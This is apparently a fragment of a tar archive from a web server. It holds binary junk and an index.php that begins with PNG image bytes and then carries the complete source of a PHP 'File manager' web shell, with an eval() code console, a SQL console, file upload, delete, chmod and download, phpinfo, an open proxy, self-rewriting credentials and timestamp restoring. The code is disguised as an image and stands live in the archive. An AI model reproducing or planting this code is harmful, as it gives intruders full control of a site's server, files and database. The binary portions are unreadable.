I%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                364262/session-context.php.php.tar.gz                                                               0000644                 00000001121 15243264725 0013167 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjKư]K,[܇Hz<3({>|R)TT-Dڬ<2)($TA9U^<I6\g~8}J߲YhY]L /o-ώ9/9Mpe͒xtgzS,|$#YF<l0KrW6=%Jy]҂Y||M꣨ mPnJ\BF`POvs bnruI+;XV	MrTQ7x:(t<evhҁ,܉3g KRIki+NTJD
^*]Zo"X`;hGqUiHLRVX	bwȣQQY
d^ldp¢#D%2v$WԲop͊hPHu~G6{ uEٸ+-C\@M4]Ax[Td4pft%>aK|6ؽM8NOE 
                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262/index.php                                                                                    0000644                 00000234415 15243264725 0007155 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
